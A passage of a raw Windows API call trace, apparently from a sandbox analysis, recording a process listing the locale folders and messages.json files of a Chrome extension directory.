returned 1 [0271.023] GetProcessHeap () returned 0x550000 [0271.023] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.023] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0271.023] GetProcessHeap () returned 0x550000 [0271.023] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.145] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.146] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.146] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.146] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.146] GetProcessHeap () returned 0x550000 [0271.146] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.146] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0271.146] GetProcessHeap () returned 0x550000 [0271.146] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.147] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.147] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.147] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.147] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.147] GetProcessHeap () returned 0x550000 [0271.147] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.147] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0271.147] GetProcessHeap () returned 0x550000 [0271.147] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.202] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.202] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.202] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.203] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.203] GetProcessHeap () returned 0x550000 [0271.203] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.203] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0271.203] GetProcessHeap () returned 0x550000 [0271.203] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.203] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.203] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.204] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.204] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.204] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.204] GetProcessHeap () returned 0x550000 [0271.204] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.204] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0271.204] GetProcessHeap () returned 0x550000 [0271.204] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.204] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.321] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.321] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.321] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.321] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.322] GetProcessHeap () returned 0x550000 [0271.322] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.322] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0271.322] GetProcessHeap () returned 0x550000 [0271.322] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.337] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.337] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.337] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.338] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.339] GetProcessHeap () returned 0x550000 [0271.339] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.351] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0271.351] GetProcessHeap () returned 0x550000 [0271.351] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.495] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.495] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.495] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.495] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.496] GetProcessHeap () returned 0x550000 [0271.496] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.496] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0271.496] GetProcessHeap () returned 0x550000 [0271.496] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.496] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.496] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.497] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: 